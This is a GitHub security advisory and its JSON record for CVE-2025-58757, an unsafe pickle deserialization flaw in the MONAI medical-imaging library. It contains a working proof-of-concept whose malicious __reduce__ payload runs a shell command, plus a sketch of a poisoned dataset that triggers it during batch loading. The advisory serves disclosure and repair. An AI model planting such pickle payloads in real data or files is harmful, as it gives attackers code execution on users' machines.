GHSA-P8CM-MM2V-GWJM
Vulnerability from github – Published: 2025-09-09 21:21 – Updated: 2026-06-06 00:33To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)
Summary
The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.
When verified using the following proof-of-concept, arbitrary code execution can occur.
#Poc
from monai.data.utils import pickle_operations
import pickle
import subprocess
class MaliciousPayload:
def __reduce__(self):
return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))
malicious_data = pickle.dumps(MaliciousPayload())
attack_data = {
'image': 'normal_image_data',
'label_transforms': malicious_data,
'metadata_transforms': malicious_data
}
result = pickle_operations(attack_data, is_encode=False)
#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid
Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.
#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid
The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.
malicious_data = {
'image': normal_image_tensor,
'label': normal_label_tensor,
'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}
dataset = [malicious_data, ...]
When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.
from monai.data import list_data_collate
dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)
# Automatically execute malicious code while traversing the data
for batch in dataloader:
# Malicious code is executed in pickle_operations
pass
When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.
Impact
Arbitrary code execution
Repair suggestions
Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.0"
},
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58757"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-09T21:21:23Z",
"nvd_published_at": "2025-09-09T00:15:32Z",
"severity": "HIGH"
},
"details": "\u003eTo prevent this report from being deemed inapplicable or out of scope, due to the project\u0027s unique nature (for medical applications) and widespread popularity (6k+ stars), it\u0027s important to pay attention to some of the project\u0027s inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)\n\n### Summary\nThe ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.\n\nWhen verified using the following proof-of-concept, arbitrary code execution can occur.\n```\n#Poc\nfrom monai.data.utils import pickle_operations \n\nimport pickle \nimport subprocess \n \nclass MaliciousPayload: \n def __reduce__(self): \n return (subprocess.call, ([\u0027touch\u0027, \u0027/tmp/hacker1.txt\u0027],)) \n \nmalicious_data = pickle.dumps(MaliciousPayload())\n\nattack_data = { \n \u0027image\u0027: \u0027normal_image_data\u0027, \n \u0027label_transforms\u0027: malicious_data, \n \u0027metadata_transforms\u0027: malicious_data \n}\n\nresult = pickle_operations(attack_data, is_encode=False) \n```\n\n```\n#My /tmp directory contents before running the POC\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid\n```\nBefore running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.\n```\n#Running Poc\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid\n```\nThe above proof-of-concept is merely a validation of the vulnerability.\nThe attacker creates malicious dataset content.\n```\nmalicious_data = {\n \u0027image\u0027: normal_image_tensor,\n \u0027label\u0027: normal_label_tensor,\n \u0027preprocessing_transforms\u0027: pickle.dumps(MaliciousPayload()), # Malicious payload\n \u0027augmentation_transforms\u0027: pickle.dumps(MaliciousPayload()) # Multiple attack points\n}\n\ndataset = [malicious_data, ...]\n```\nWhen a user batch-processes data using MONAI\u0027s list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.\n```\nfrom monai.data import list_data_collate\n\ndataloader = DataLoader(\ndataset,\nbatch_size=4,\ncollate_fn=list_data_collate # Trigger the vulnerability\n)\n\n# Automatically execute malicious code while traversing the data\n\nfor batch in dataloader:\n\n# Malicious code is executed in pickle_operations\n\npass\n```\nWhen a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.\n\n### Impact\nArbitrary code execution\n\n### Repair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface\u0027s transformer library.",
"id": "GHSA-p8cm-mm2v-gwjm",
"modified": "2026-06-06T00:33:22Z",
"published": "2025-09-09T21:21:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-p8cm-mm2v-gwjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58757"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/pull/8566"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-142.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Monai: Unsafe use of Pickle deserialization may lead to RCE"
}
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